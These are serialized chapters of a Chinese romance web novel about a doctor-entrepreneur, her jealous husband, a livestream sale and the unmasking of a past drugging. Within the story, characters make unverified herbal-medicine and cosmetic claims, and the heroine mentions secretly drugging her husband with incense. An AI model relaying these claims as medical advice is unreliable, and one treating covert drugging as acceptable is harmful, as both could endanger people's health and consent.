还没等苏容泽给出反应,远处看见两人在咬耳朵的季宴礼,心里像猫抓得似的难受,跑过来分开两人。
季宴礼冷声道:“你们这么亲密干嘛?”
苏容泽憋着笑说:“季总你也不用这样草木皆兵,我跟星若只是朋友。”
季宴礼可不吃这一套,“男人和女人就没有纯洁的友谊。”
舒星若讥讽的笑道:“原来你也知道啊,我还以为你跟何欣是好朋友呢。”
季宴礼深吸一口气,极力忍着不要发火:“你们俩正常工作就行。”运营走过来对苏容泽和舒星若说:“时间差不多了,苏总、舒总,你们准备开始吧。”
直播一打开,弹幕就开始刷:【来看CP了。】
【他们好般配啊!】
【你们俩原地结婚好不好?】
【产品解说不用说了,我就想看你们的日常。】
季宴礼看着直播中控屏上的弹幕,气得要发疯。
第54章 他们连手都般配
袁晶一眼就看出来他们三个关系不简单,低声安抚快要喷火的季宴礼:“舒总和苏总这都是节目效果,季总您不必过于气愤。”
季宴礼冷着脸不说话,眼睛死死盯着舒星若和苏容泽,只要他们有不当行为,他就会出手。绝不能让他们俩卖CP。
袁晶看着他,只要不闹事他们也不管。
黄丽歌问一旁的袁晶:“季宴礼那么生气干嘛,难不成他也喜欢舒总?我记得他好像有女朋友,之前回国还上热搜来着。”
袁晶小声说:“谁知道呢,他们有钱人的事咱们也不懂,盯紧他别惹事。”
“好。”
宗司辰鄙夷的看着季宴礼,自己这么好的老婆不管,天天跟小三混在一起。
言永飞也觉得季宴礼眼瞎,何欣给舒星若提鞋都不配。
这场直播舒星若和苏容泽两个人是边吃饭边播,为了配合主题,特意让度假村的厨师按照舒星若给的食谱做了药膳。
舒星若端起玫瑰银耳露喝了起来,苏容泽问她:“这道甜品有什么讲究?”
舒星若聊起药膳如数家珍:“这道甜品用了干银耳、食用玫瑰和冰糖,有疏肝解郁和滋阴润燥的功效。比较适合秋冬食用。”
苏容泽尝了一口:“味道是不错,清润甘甜,适合我吗?”他挽起袖子让舒星若帮他把脉。
弹幕又热闹了。
【苏容泽坦荡荡啊,敢让中医直接把脉。】
【是啊,厉害的中医能把出他的私生活。】
【舒星若就是牛逼的中医啊,她号一下就知道他肾好不好。】
【他这样是不是变相的表白,告诉舒星若他身体很好?】
【他都三十了,看起来像大学生,身体能不好吗?】
运营佩服苏容泽的能力,一句话调动了直播间的话题。
舒星若放下碗,伸出手指给苏容泽把脉,镜头给了她的手特写。
她的手指细长白嫩,搭在苏容泽肌肉线条明显的手臂上,评论区又激动了。
【太般配了,连手都这么配。】
【舒星若的漫画手让我羡慕了。】
【苏容泽的手臂线条好明显,想看腹肌。】
这一发不得了,满屏的都是想看腹肌。
季宴礼被弹幕快气成心梗了,但他又不好说什么,他们也没做什么出格的事。
由于手机静音,何欣给他打了几个电话都没接。何欣头皮发麻,心中发慌,季宴礼可从来没有这样对过她。立刻打给言永飞,也没有接。何欣彻底慌了。
舒星若把完脉之后说:“你可以适当降低健身频率,你气血有点虚了,影响你的睡眠。”
苏容泽倒是不惊讶,他见识过舒星若的医术:“嗯我最近都是一周五练,那要调成什么频率呢?”
舒星若说:“一周三练,可以练练八段锦。回头我教你。”
“好!”
直播间的观众沸腾了。
【舒医生什么时候开诊,帮我看看,我痛经很严重。】
【我失眠严重,一运动就失眠,吃安眠药也就睡四个小时。】
【我半夜吐酸水,吃了胃又胀。】
舒星若看到评论区的问题,不紧不慢的说道:“要不这样吧,我在公司设一个问诊间。每周看十个人,你们预约,这样行不?”
【十个人太少了啊,我怕约不上。】
【你看病贵不贵?】
舒星若说:“我现在还有别的事,要处理公司的运营事务,所以只能抽这么多时间来看。希望大家包涵。”
苏容泽也帮忙回答:“舒大夫看病不算贵,行针一次一百,开方子两百。”
【怎么预约啊?】
舒星若想了想说:“跟我助理约吧,晚点我们会把联系方式放在主页上。”
回答完这些问题,舒星若和苏容泽继续吃饭。吃饭期间偶尔和观众互动,有人问祛斑膏的成分,舒星若说:“都印在包装上。”
镜头切到祛斑霜的盒子上,上面写着:白芨、灵芝、白术、白蔹。
大家惊叹:【我滴个乖乖,竟然有灵芝。】
【怪不得这么贵,要五百多一瓶。】
舒星若放下筷子打开了一瓶祛斑霜,抹了一点在苏容泽脸上,说道:“擦完这一瓶寻常的斑都会没有,皮肤恢复光洁。”苏容泽心里甜甜的,她的手真柔软。
季宴礼却吃味,她可没有这么温柔的帮自己擦脸。
大家质疑:【有这么神奇吗?】
舒星若早有准备,岳灵有产后斑,在颧骨那一块,祛斑霜研发出来的时候她就自告奋勇去试。她还特意只擦了半边脸,镜头对这她的脸。左脸光洁如玉,右边颧骨上布满了黄色的斑。
舒星若说:“这是我们公司的同事,她半张脸用了不到一个月的效果。”
【卧槽,这员工好勇啊。】
【趁年轻,我买一瓶试试。】
【长了很多年的,有没有用?】
舒星若坚定的答:“有用。”她对自己的产品很有信心,单量开始慢慢上来了。
舒星若接着说道:“大家平时白天记得少吃光敏食物,比如香菜、柠檬。这些最好晚上吃,可以多吃黄瓜,黄瓜可以淡斑,还可以降低体内脂肪。”
谈到脂肪,弹幕更起劲了,都在求舒星若出减肥药。
舒星若侃侃而谈的模样,十分淡定从容,季宴礼看着觉得她整个人都在发光。怪不得她坚持要创业,她此时散发着职业女性特有的魅力。那是他在家从未见过的样子。
只是这样的她,自己不一定能抓得住。
他想着,脸色逐渐难看了起来。
苏容泽帮舒星若回答:“减肥就是少吃多动啊,没什么捷径。”
舒星若却说:“不是的,有些人胃口特别好,吃了没一会就饿了,那是胃火,可以调理的。”
直播间的观众感觉简直说到自己的心坎上了,【我就是。】
【我也是。】
【加一。】
【血书跪求舒星若出减肥药。】
舒星若缓缓说道:“胃火你们吃栀子金花丸就行了,不用特别紧张。不过要分清是胃火还是肝火。”舒星若开始给大家普及中医知识,直播间人气爆棚。
苏容泽在一旁适时的插几句,递水给她喝,十分默契。
季宴礼气得闭上眼睛,他恨恨的想,“要不是欣欣有抑郁症,跟舒星若一起直播的人就是我了。”
第55章 何欣挑拨离间
舒星若和苏容泽直播了三个小时下播了,运营宣布这场带货一百万销售额。大家一起鼓掌欢呼。
舒星若当场宣布大伙辛苦了,她自掏腰包给每人发一万的红包。
行止的人都很开心,“舒总是真大方。”
“对呀,咱们公司这么多人,一下子几十万没了。”
“其实我特别想老板帮我号脉,我经常头晕。”
“我也是,我天天馋得要死,一会我就找黄丽歌预约。”
“行,咱们先去预约。”
苏容泽开玩笑说:“舒大夫,你也太抠了,我得劳务费可不止一万块哦。”
舒星若说:“你别急,过几天我有一个小礼物送给你,解决你气血不足的事。”
“那可太好了。”苏容泽是健身狂魔,让他少健身很难受,“你刚说教我八段锦,什么时候开始?”他满心满眼的期待。
“明天早上八点我喊你,我每天早上都练。”
“好!”
季宴礼见两人有说有笑,很是火大。他走过来,冷着脸对舒星若说:“快回去休息。”
“知道了。”
舒星若回房间洗漱完,季宴礼才刚回来。舒星若他们下播的时候,他打开手机一看,吓了一大跳,何欣给他打了五个电话,微信上还有她哭哭唧唧的留言:【阿礼,你在哪里?为什么不接我的电话?我心里好难受,我怕再次失去你。】
原本她以为季宴礼看到直播内容会跟舒星若大吵一架,然后来找自己,怎么也想不到他人消失了一下午加一个晚上。连言永飞都联系不上了,她怕舒星若彻底抢走了季宴礼。
季宴礼立马给她打了过去,他抱歉的说道:“对不起,欣欣,我刚在开会,手机静音了。你现在怎么样了?”这是他这么多年来第一次对何欣撒谎。
电话里传来何欣啜泣的声音:“阿礼,我好难受,你能来陪我吗?我好想你。”
季宴礼看着舒星若和苏容泽离开的背影,他心里莫名的慌,说道:“欣欣,我今天回不来了,你乖,按时吃药,等我忙完这边再来陪你。”
何欣哪里坐得住,娇弱的说道:“阿礼,你是不是不要我了?你不要我了我宁愿去死。”
上次因为舒星若的挖坑,害她赔了整整三千万。舒星若联手季家安,盯着季宴礼的账户,只要转账给何欣或者她家里人,必然要被爆出来。季宴礼也不敢冒天下之大不韪,拿季氏的股价来赌。
后来他想给她办一张附属卡,但季家安亲自出马,阻止了银行。何欣知道是舒星若从中作梗,气得在家骂了一天。可是无济于事。
她只好演起了自杀的戏码,骗得季宴礼日日围着她转。即便是这样还是一直捞不到钱,她心里窝火。都是舒星若害的,她一定要让他们离婚,只有她嫁给了季宴礼,才能尽情的享受季家的财富。
季宴礼柔声道:“欣欣你不要胡思乱想,我不会不要你的,我真的是有事要处理。”
“妹妹晚上跟苏容泽又一起直播了,你不要被气到啊?”她眼里闪过恶毒,她是提醒季宴礼去看直播。
果然季宴礼的声音变得生硬:“下次我不会再让他们一起直播了。”
“就是啊,还帮别的男人洗头发,太不像话了,简直就是把你的脸踩在脚下。今天晚上他们又一起吃饭,感觉很亲密呢。”何欣即使在挑拨离间,声音仍然听起来人畜无害,这是她苦练多年的技艺。
季宴礼觉得她说的很有道理,打算回房间好好教训舒星若一番。
舒星若擦完脸给季知许打视频,“许许,妈妈今天在外面工作,你在家一个人不要害怕。”
季知许非常支持舒星若搞事业,“没事,我会乖乖的。爸爸呢?他没有回家,你知道他去哪了吗?”他担心季宴礼又去找何欣了,父母在他的挽救下,好不容易住一个房间了,可不能让那个坏女人又搞破坏。
季宴礼怒气冲冲的出现在屏幕里,季知许很激动:“爸爸,原来你跟妈妈一起啊。”
舒星若给季宴礼递了个眼神,他们现在达成共识,在儿子面前要扮演恩爱夫妻。
季宴礼收起怒气,一把搂过舒星若:“我跟妈妈一起工作,我们今天很开心。”舒星若假笑了一下。
季知许鼓掌:“太好了,你们一起工作。爸爸,你记得要照顾好妈妈。”
季宴礼答:“嗯,我会的。”
三人聊了十几分钟挂了视频。
季宴礼命令道:“帮我洗澡。”
舒星若翻了个白眼:“你自己没手吗?”
季宴礼黑着脸说:“你可以帮别的男人洗头发,不能帮我洗澡吗?”
舒星若微微一笑:“那你敢拿手机给我看看你的通话记录吗?你没去找别的女人吗?”她用脚想也知道刚季宴礼在跟何欣打电话。
季宴礼脸上一震,有种被看透的恐惧感,他不再理会舒星若,独自去洗澡。
舒星若拿了一本甘净莲送她的古籍,是明代一位名医写的手札,其中提到如何治一个不举的病人。舒星若忽然想起杨思淼来,发信息问他:【你最近怎么样?早上有没有立起来?】
杨思淼秒回:【还没有。】他把舒星若置顶了,有情况随时问她。
她想了想舒延兆给她的秘方,在屏幕上写到:【我手里有个古方,但是没用过,你敢试一试吗?】
【可以加快进度吗?】
【如果古方有用的话,会加快。】
【那就试吧。】
发完信息,季宴礼洗完澡出来,见舒星若脸上带着笑容,他不悦:“你跟我说话很少开笑脸,为什么跟别人都是善意又亲切?”
舒星若立刻反击:“我对你笑了六年,你对我开过笑脸吗?你跟何欣说话温柔小心,我有这待遇吗?”
“我不是跟你说了,以前的事不要再提了,我们慢慢好起来不行吗?”
舒星若懒得理这个傻缺,她的心被他伤得支离破碎,现在他想和好就和好吗?天底下哪有这样的好事?
她放下书本,钻进被窝准备睡觉。
季宴礼俯身在她耳边说:“我想跟你做。”
第56章 究竟要怎样才肯原谅
舒星若被他突如其来的话吓了一大跳,身体弹了起来,正好碰到季宴礼的脸。碰出了季宴礼心里的火花。
他顺势吻了上来,舒星若像只受惊的小鹿,逃也似的下了床,冷冷的拒绝道:“我不想跟你做。”
季宴礼也下床,抱住她,耳鬓厮磨:“你究竟要怎么样才肯原谅我?”
舒星若推开他,冷笑着望着那张俊脸:“你把何欣那一家人整死,我就原谅你。”
她豁出去了,如果季宴礼真能让她得偿所愿,她不介意跟他过一辈子。
季宴礼颓然的坐到床上,“我不明白你为什么那么恨她?你们明明是一家人。”
“一家人?”舒星若觉得特别滑稽,也不知道何欣在背后怎么跟季宴礼形容的。
“谁跟他们是一家人了?田玉芬是我妈的闺蜜,我妈待她亲如姐妹,她却抢了何宏。我妈被两个最亲近的人背叛,离婚,独自抚养我,她在我三岁的时候自杀了。”
“抢了何宏?”季宴礼脸色发白,何欣告诉他的版本是舒月是何宏的情妇,舒星若是私生女。“何欣说是你妈做小三,你妈是他爸在外面偷养的。”
“哼!”舒星若脸上露出讥讽的笑:“季宴礼,你去查查当年的事,看看是谁先跟何宏结婚的。何欣跟她妈一样的不要脸,除了当小三没别的本事。”
季宴礼脸色大变,他盯着舒星若:“我不许你这么说她,明明当年是你抢走我的,害得她远走国外六年,一个人孤零零的待了这么些年。”
人无语到极点就会笑,舒星若说:“行,是我害得她在国外悲催的待了六年。所以你离我远一点。”
她躺进被窝里强制闭麦,季宴礼也被弄得没有心情了,憋着一口气睡觉了。
翌日早上八点,梳洗完毕的舒星若穿着白色运动服去找苏容泽打武当八段锦。
苏容泽恰好也是一身白,两人颜值气场般配到天衣无缝。他心里一阵骚动,不免有点联想以后的日子。
舒星若见他一脸喜色,调侃道:“苏总,一大早有什么喜事,这么开心?”
他定了定神说道:“大清早的有个中医圣手陪我锻炼身体,这算不算喜事呢?”
舒星若轻拍他:“少拿我打趣,我要学的东西还多呢。你外婆送给我的那一箱子是真宝贝。”她朝苏容泽身后望了望:“怎么杨思淼没来?”
苏容泽纳闷她为什么提起杨思淼,不解的说道:“你看他那一身肉,就知道他不喜欢运动了。”
舒星若心想这么懒还爱鬼混,怪不得年纪轻轻就不举了。这样不规律生活下去,就算治好了,也容易复发。
舒星若给杨思淼打电话,声音严厉得像教导主任:“起床锻炼,我们在观景台这里等我拿给你,十分钟之内过来。”
杨思淼昏昏沉沉的说:“啊,还要锻炼吗?”
“必须要,规律生活,积极锻炼,你这病才能好。”
提到他的病,他清醒了些许:“行,我马上来。”
“快点。”挂了电话,转头对苏容泽说:“杨思淼一会就过来。”
苏容泽惊奇:“你就这样把他拎过来了?他平时比猪还懒,我以前喊他健身喊得我都自闭了。”苏容泽十分好奇杨思淼到底得了什么病,这么听舒星若的话。
舒星若觉得他少见多怪,“他不听话我就不给他治病,他日子更难熬。”让一个整天花天酒地的人禁欲,确实比杀了他还难受。
等杨思淼的间隙,苏容泽带着舒星若跳了几分钟HIIT,强度不小,舒星若跟起来却不费力。苏容泽问她:“你平时健身吗?”
舒星若:“不健身,就练八段锦。”
“可以可以。”苏容泽连连赞赏,开始期待舒星若的教学了。
杨思淼很快到了,他睡眼惺忪的,要不是舒星若喊,他打死也不起早锻炼。
舒星若说:“看你这精气神,哪像个年轻人,赶紧跟着我们好好锻炼。”
舒星若带着他们开始练武当八段锦,苏容泽有健身基础,毫不费力。杨思淼练了五分钟就开始大汗淋漓,要不是舒星若盯着他,他早脚底抹油跑路了。
一套练完也就三十五分钟,但神龙摆尾的动作差点把杨思淼送走。练完之后他直接摊在地上,气喘吁吁的说:“舒大夫,你直接把我送走吧。我快噶了。”
舒星若面无表情的说:“每天回去练一遍。”
杨思淼的脸直接变形:“啊,这么难,动作我记不住啊。”
舒星若想了想说:“我大学的时候录过一个八段锦视频,回家我找给你。”
苏容泽眼神一亮,马上说:“我也要,我也记不住动作。”舒星若看了他一眼,明明刚才跟得很流畅的。
杨思淼心里跟明镜似的:“二哥是想看你以前的视频。”
一句话让苏容泽脸红到耳根,苏容泽当场给了他一脚:“闭嘴。”
杨思淼嘴里嘟囔:“明明就是嘛,还不让人说。”苏容泽狠狠的瞪了他一眼。
舒星若叮嘱苏容泽,“最近你一周三练,其他时间打打八段锦,我回去就给你整补气血的东西。到时候你睡眠会好很多,可以逐渐恢复一周五练。”
苏容泽调皮的说:“这点东西打发不了我哦。”
舒星若说:“那是自然,你帮了我这么大的忙,以后我会找一件好东西送给你。”
苏容泽心花怒放,“行,我等着你呢。”
三人结伴去餐厅吃早餐,杨思淼跟舒星若走在后面,他小声问:“我的药怎么弄?”
因为是秘方,舒星若已经发信息给舒延兆,让他配好五副药并代煎好。
“我外公已经煎好药了,你有空去行止堂拿。药放冰箱里,喝的时候拿出来加热。吃完这五副药我再去给你看看。记得要禁欲,每天早上练八段锦,少熬夜。”
杨思淼乖的像孙子:“嗯,我一定听话。”两人抬头看见季宴礼从左前方走过来,杨思淼一脸八卦的说:“你老公到底还喜不喜欢你啊?”
第57章 她有一群靠山
舒星若白了他一眼:“他从来就没喜欢过我,倒是何欣把他的心拽得紧紧的。”
杨思淼说:“何欣勾男人的本事你确实赶不上,不过你放心,等我把你治好了,我出手,到那时候季宴礼还要她我管他叫爸爸。”
舒星若被他逗笑,“这可不一定哦,季宴礼就是个脑残。我上次录了何欣的音,何欣亲口承认是为了他的钱,他都不在乎。”
杨思淼觉得不可思议:“他看着挺机灵的啊,怎么一遇上何欣就变脑残了?”
“可不是?”
见两人有说有笑,季宴礼本来就不好看的脸色更加黑沉了,他走到舒星若面前:“你跟哪个男人都能有说有笑。”
舒星若一见到他就拉下脸来,不过还没等她开口,杨思淼就当面怼了:“季总,你不去陪何欣来找我若姐干嘛呢?我若姐可不是那种柔弱不能自理的人,不需要你虚假的关怀。”舒星若比他还小几天,但在他心里舒星若属于天神,人狠话不多。
季宴礼冷着脸说:“你连这事都告诉了他?你们还真关系不浅。”
杨思淼一副江湖老大的模样:“那是,若姐我罩的,你敢欺负她我就削你。季宴礼,你虽然有头有脸的,但我杨家也不差,还有我舅舅我二哥,我们都站若姐这一头。”
苏容泽也走了过来,他拉过杨思淼,制止道:“你就别添乱了。”杨思淼走的时候还回头对季宴礼竖起了中指,把季宴礼气得够呛。
他冷笑:“怪不得最近闹着要和我离婚,原来是找了这么多靠山。”
舒星若挑眉:“那也不及你这个靠山好,想方设法要给何欣送钱。”
说到这一茬,季宴礼更是火冒三丈:“你不是联合我爸让我连附属卡都办不成吗?”
舒星若走进餐厅,拉过椅子坐下,气定神闲的说道:“你不知道附属卡只给亲属的吗?你要真想给等领了证再给。”说完她又后悔了,怎么能催着他们领证呢?还好季宴礼没被她激到,他皱眉道:“不要想着法子的催我离婚,我说过,我是不会跟你离的。”他瞟了一眼旁边桌子上的苏容泽,他才不会那么傻,放舒星若去跟苏容泽双宿双飞。
舒星若讽刺的笑:“季总,度假村人多口杂,你跟我一起吃早餐不怕被人发现我们的关系?到时候你的欣欣又受不了了。”
季宴礼正担心这一点,所以才没挨着舒星若坐。
舒星若嘴角扯了个不屑的笑容,站起身来去拿食物。
度假村的早餐是自助的,非常丰盛,粥粉面、各色蔬菜沙拉、昂贵水果、花式面包、中式面点、各类饮品,应有尽有。舒星若拿了一张牛肉饼、一个水煮蛋、一盘黄瓜片和一瓶牛奶坐到了苏容泽旁边。一旁的季宴礼却一直在看他们,舒星若当他是空气。
苏容泽正在切一块牛排,杨思淼在吃一大碗粉,那碗比他脸还大。
舒星若望着两人的早餐轻轻叹了口气,也没说什么,低头吃饭。
杨思淼麻溜的干完了一大碗粉:“咋了,我们的早餐不合理?”
舒星若不是爱说教的人,她说:“也没什么,每个人喜好不同。”
苏容泽却来了兴致,“说来听听嘛,我们还是很受教的。”
杨思淼:“对,我现在就听若姐的。”
舒星若说:“你别叫我若姐了,搞得我像几十岁的人了。”
苏容泽笑着说:“你别看他长得着急,像四五十,他其实就比你大几天。”
杨思淼不高兴了:“二哥,你怎么说话的,我明明还嫩着呢,什么叫我像四五十了。”
舒星若憋着笑,杨思淼确实看起来像四十多了,这就是不节制的后果。
“杨思淼,你早餐别光炫粉,也吃点蛋白质蔬菜啊,而且你这一份量太大了,吃一半就行了。不过你听听就行了,不执行也没事,反正你还年轻。”杨思淼的那碗汤粉他让厨师给他下了两份粉,量大得惊人。
杨思淼如临大敌:“别,若姐,我改,我从明天就改。”
苏容泽说:“那我的早餐呢?”
“你是不是早餐不吃碳水?”
“对。”
舒星若蹙眉道:“你们健身的人成天视碳水为洪水猛兽,殊不知五谷杂粮才是能量之源。你早餐加个馒头或者一根红薯之类的粗粮都可以。多吃点碳水对你的睡眠好,当然你不喜欢不加也没事。”
苏容泽微笑:“我听你的,以后早餐都吃碳水。”说着就去拿了一个馒头,舒星若让他吃的,这馒头莫名的香。
舒星若笑:“孺子可教。”
苏容泽吃完早餐说:“我一会回公司了,你的货不是卖得差不多了吗?今天还待在度假村吗?”
舒星若说:“他们继续玩一天,我也回去了。我去找金林聊一下后续订货的事。”
“那刚好你坐我的车回去。”
“好!”
两人一起站起身来,季宴礼跟着也站了起来,他走到两人中间来,跟着舒星若前后脚回了房间。
舒星若开始收拾衣物,季宴礼问:“你这就回去了?看来我是妨碍你了。”
“嗯,你是碍手碍脚的。”舒星若一边叠衣服一边说。
“你……”自从舒星若不对他千依百顺之后,季宴礼心里憋的这口气一直就没顺过。“你再不好好跟我说话,我就把你的附属卡停了。”
“随便你。”她如今有自己的事业,季宴礼拿钱可控制不了她。
季宴礼让舒星若也帮他收拾东西,舒星若脱口而出:“叫何欣来给你收。”
把季宴礼直接给气炸了,“你不提她难受吗?”
“对,她是我的死对头。你跟她混在一起,我恨屋及乌。”
昨晚舒星若跟他说起上一代的恩怨,他连夜让言永飞查了,果然属实。他能理解舒星若为什么那么恨何欣了,但是他做不到不对何欣好,他不忍心。他懊恼的摇了摇头,这两个女人势同水火,他只能当和事佬。
“行,随便你提。”他自己不会收拾,打电话叫人上来帮他收拾。
舒星若突然想起林安禾给的照片,问道:“照片上的那个女人你找到了吗?”
季宴礼心虚的说道:“没,还没有。”
第58章 季宴礼已知道当年的事
舒星若观察到他脸上的心虚,问道:“你是不是查出什么来了?不愿意告诉我。”
季宴礼面无表情的说:“没有,什么都没有。”
舒星若总觉得他在隐瞒什么,给林安禾发了个信息:【找到那个女人了吗?】
林安禾回:【昨天晚上在酒吧找到了,约了上午见面,还没调查清楚,我看你忙就没跟你说这事。】
舒星若抬眸望了一眼季宴礼,回到:【可能咱们什么都问不出了,季宴礼应该已经找到她了。】
林安禾不是容易放弃的性格,【一会我问问看吧,等我消息。】
【好!】
舒星若合上手机,麻利的收好行李,提着箱子往外走。季宴礼犹豫了一会说:“你要不要坐我的车回去?”
舒星若嘴角挂上了讥讽的笑容,“季总不怕别人发现我们的关系了吗?”
季宴礼愣神之际她已经走了,下楼上了苏容泽的车。
宗司辰笑着跟他们说:“舒大夫,昨天您跟苏总直播上了热搜,行止生物的热度很高。”
围观群众有想找舒星若看病的,有嗑CP的,还有奔着产品来的。关注的人特别多,一时之间声名大噪。
“嗯,”舒星若今天早上就收到市场部发的消息,“可惜我目光短浅,备货太少了。”
苏容泽说:“没事,我听说金林昨天晚上已经加班加点在帮你做货了。按着他们的产能,最快明天能出一批货,你们现在可以搞预售。”
销售部确已经乘热打铁在做预售了,舒星若原本担心金林会耽误交货期,想不到苏容泽又出手帮忙了。“谢谢苏总帮忙!”
“不用,举手之劳。”
宗司辰心想:“明明特意千叮万嘱的让金林务必帮忙,哪是什么举手之劳哦。”
苏容泽积压了一天的工作,路上都在处理工作。舒星若问:“你这都是公司核心事务,不怕我泄露商业机密吗?”
苏容泽嘴角微微上扬:“我相信你的人品。”
舒星若低头微笑,苏容泽对自己是真好。一路盘算着再送他点什么好。
回到公司,舒星若一头扎进实验室,翻出公司其他产品资料和市场调研报告。想起苏容泽的话,产品确实不能单一,给市场部发消息,让他们给金林再下几款产品的单。
随后她拿出实验室原本就有的样本,给苏容泽做了一个香囊和一串中药手串。
忙完这些以后已经是中午了,她给苏容泽打电话,秒接。
“苏总,中午有空一起吃饭吗?”
电话那头传来苏容泽爽朗的笑声:“这么快就要报答我了?”
舒星若眸中含着笑意:“那可不是吗?我是个知恩图报的人。”
苏容泽说:“不过不好意思,今天中午有事要忙,打算在办公室吃外卖了,改天一起。”
舒星若问:“我给你做的补气血的东西做好了,是我送上来还是你派人下来拿?”
“我叫人下来拿吧。”公司人多眼杂,毕竟舒星若还没离婚,特意来送东西,苏容泽也怕传什么风言风语。
“好!”
林安禾打电话过来:“我在你公司旁边的本帮菜馆里,古北包厢,我有事跟你说。”
舒星若进包厢的时候,见到林安禾身边坐着一个女人。舒星若定睛一看,正是当年递酒的尤红娜。
舒星若看到她浑身战栗,往事历历在目,她的眼睛泛红,大声质问道:“你为什么要害我?”
尤红娜说:“我可没有害你,那杯酒是何欣递给我的,她让我给你,我一直是她的跟班。”她说着看了一眼林安禾:“说好的,我自己去港城自首,你们不要打压我家的生意。”
林安禾:“嗯!”
舒星若问尤红娜:“季宴礼是不是找过你?”
她点点头:“今天早上他一个下属来找我,问我当年怎么回事,我本来不打算说出来的。他恐吓我,我害怕就全说了。”
舒星若眼眸沉了下午,原来他已经知道了当年的始作俑者了。
“季宴礼有说什么吗?”
“他让人给了我一笔钱,叫我闭口不说。”尤红娜看了看林安禾:“林律师,我可以走了吧?”
舒星若问:“何欣为什么要下药害我?”
尤红娜摇摇头:“我不知道,她心机深重,不会跟我讲这些事的。”她说完又看向林安禾,林安禾扬了扬手,示意她可以走了。
尤红娜走后,舒星若泪流满面,她伏在林安禾的肩膀上放声大哭,将这些年的委屈和压抑全部发泄了出来。
她被季宴礼骂了整整六年的爬床,心机重,如今真相大白了,他却拿钱给证人封口。
舒星若恨不得提刀去找季宴礼。
林安禾轻抚她的后背,柔声安慰道:“季狗不当人也不是一两天了,你不用太生气。我看那个苏容泽就不错,人家喜欢你,还帮你搞事业。”
舒星若哭了一会,坐直身体,她问道:“我现在可以找季宴礼算账吗?”
林安禾说:“我不知道他在港城的人脉,最好不要打草惊蛇。等何欣被抓了再说。”
舒星若擦掉眼泪,林安禾把流心花胶放到她跟前:“你先吃点东西。”
舒星若食不知味,吃了几口便放下勺子。
“你是怎么说动尤红娜的?”
林安禾说:“打着苏容泽的旗号啊。”
舒星若听得云里雾里,林安禾说:“你乖乖吃饭我一会就告诉你。”
舒星若知道林安禾说一不二的性格,好好吃饭了。
刚吃完,她就迫不及待的问林安禾,“到底怎么回事?”
林安禾拿起纸巾擦擦嘴:“你上午跟我说的时候我就去查了尤红娜的背景,她家里是做服装生意的,我心里就有数了。见面的时候,我拿出你跟苏容泽的直播回放,说苏容泽现在是你的靠山,还有吉家,如果她不说实话后果她懂的。”
舒星若不由得感慨:“你的脑子是真好使。”
“那是,对付季狗那对狗男女,我得打起十二分精神来。”舒星若的事她全都知道,两人同仇敌忾。
舒星若问道:“接下来你打算怎么做?”
第59章 让何欣去坐牢
林安禾说:“我找人调了当年的卷宗,你的血样检测报告还在,让尤红娜去自首,她反正不知情,最多罚点钱。警方会重启调查,投毒罪最少判一年。虽然一年不重,能让何欣坐牢,你也小小的出了口气。就怕季宴礼提前知道了,安排何欣出国,那港府就没法抓人了。”她觉得按照季宴礼的行事风格,大概率会保何欣。
舒星若称赞道:“还是你想得周到。”
她站起来,“今天这顿我买单,刷季宴礼的卡。”既然他钱多到去塞证人的口,那她就帮他花一花。
林安禾表示赞同,“你辛辛苦苦把他治好,现在何欣施施然来摘果子,哪有这种好事?”
舒星若说:“她现在轻易也摘不了。”随口将自己给季宴礼下药的事说了,林安禾听完紧张的问:“那香会残留吗?可千万不能留下证据。”
这倒提醒了舒星若,庆幸的是刘管家手里的香已经点完了。
她决定把家里的香全部拿走,每天晚上自己带一柄回家点。反正她不能让何欣有机会施展她的魅术。
两人从餐厅出来,舒星若问林安禾:“你下午忙不?不忙我带你逛街去,狠狠地刷季宴礼的卡。”
没有几个女人能挡住大肆买买买的诱惑,林安禾笑魇如花的说:“走。”
季宴礼给的附属卡每个月一百万的额度,铂金包买不了,香奶奶可以买几个。
舒星若买了一个黑色牛漆皮口盖包送给林安禾,跟她的风格很搭。有种大杀四方的酷炫感。
四万九的价格,舒星若眼都不带眨的。
她自己买了一只白色颗粒压花小牛皮包,五万一,温柔又大方。
买完包以后,她又给林安禾买了一套海蓝之谜和几套衣服。
两个人提着大包小包,来到银行买金条,两公斤的金条直接拿下,顺手存进银行里。
自从上次卖奢侈品之后,舒星若就不打算再买奢侈品了。
那些华而不实的东西买的时候贵,卖得时候一半价格都没有,还是买金条更实用一些。缺钱的时候直接就卖了,不贬值还能升值。
林安禾说:“以后你每个月都这么花他的钱,反正你不花有人替你花。”
“对。”
舒星若又拉着林安禾陪她去逛玉石市场,她想挑上好的石头,做一副围棋送给苏容泽。
林安禾说:“你真的不考虑考虑苏容泽,他眼睛都快黏你身上了。”
舒星若眼前浮现苏容泽的脸,自己对他有感激有敬佩,唯独没有男女之情。可能是被季宴礼伤透了吧。
“我现在很难再爱上一个男人,先就这样吧。”
林安禾摇头劝道:“虽然你遇人不淑遇上了季狗,被磋磨了六年。但是若若,你的人生不止这六年。也不是每个男人都像季狗这么不要脸。”她见不得舒星若一副心如死水的样子,她希望舒星若天天开心。
舒星若望着林安禾关切的神情,笑着说:“你先等季宴礼跟我把婚离了再说吧,他现在死活不同意离婚呢。”
这句话引起了林安禾一顿输出,足足骂了十几分钟,律师骂人果然不带一个脏字还十分难听。
听她骂完,舒星若心情异常的好,乳腺都通畅了。她羡慕的说:“我要是有你一半的骂人功底就好了。”
林安禾说:“你不用会啊,有我在,不会让你被人欺负了。”
“有你真好。”
她抬起手中的购物袋:“这话应该我说才对。”
到了玉石市场,被眼花缭乱的石头包围。逛了半天,终于找到碧玺原石交易的地方。
舒星若相中了一块帕拉伊巴碧玺,通体绿蓝色。又看中了一块卢比来碧玺,浓郁的粉红色,一点棕色调都不带。
舒星若毫不犹豫的拿下,两块原石花了近八十万。
林安禾咂舌:“这两块石头竟然要这么贵?”
舒星若说:“嗯,顶级碧玺原石嘛。送给苏容泽的东西不能马虎,他毕竟帮了我那么多。”
林安禾见她这么重视苏容泽,挺高兴的,是一个好的开始。
买完原石之后,经老板介绍,舒星若找到一位玉石匠人洪师傅加工成围棋。
洪师傅说:“你这两块原石纯度这么高,做成围棋有点浪费哦。”
一套标准围棋需要181颗黑子和180颗白子。加工361颗完全一致的高精度珠子,需要根据石头的色泽来加工,会浪费很多石材。
舒星若淡淡一笑:“千金难买心头好,麻烦洪师傅费心了。”
洪师傅说:“这工费可得十万。”
“没问题。工时多久呢?”
洪师傅说:“半手工的方式最快也得45天,最慢90天。”
舒星若说:“行,我先给你付定金,签合同,完工之后全部付完。”
“好!”
忙完这些,已经到下午五点多了,林安禾晚上约了人,舒星若独自回了季家。
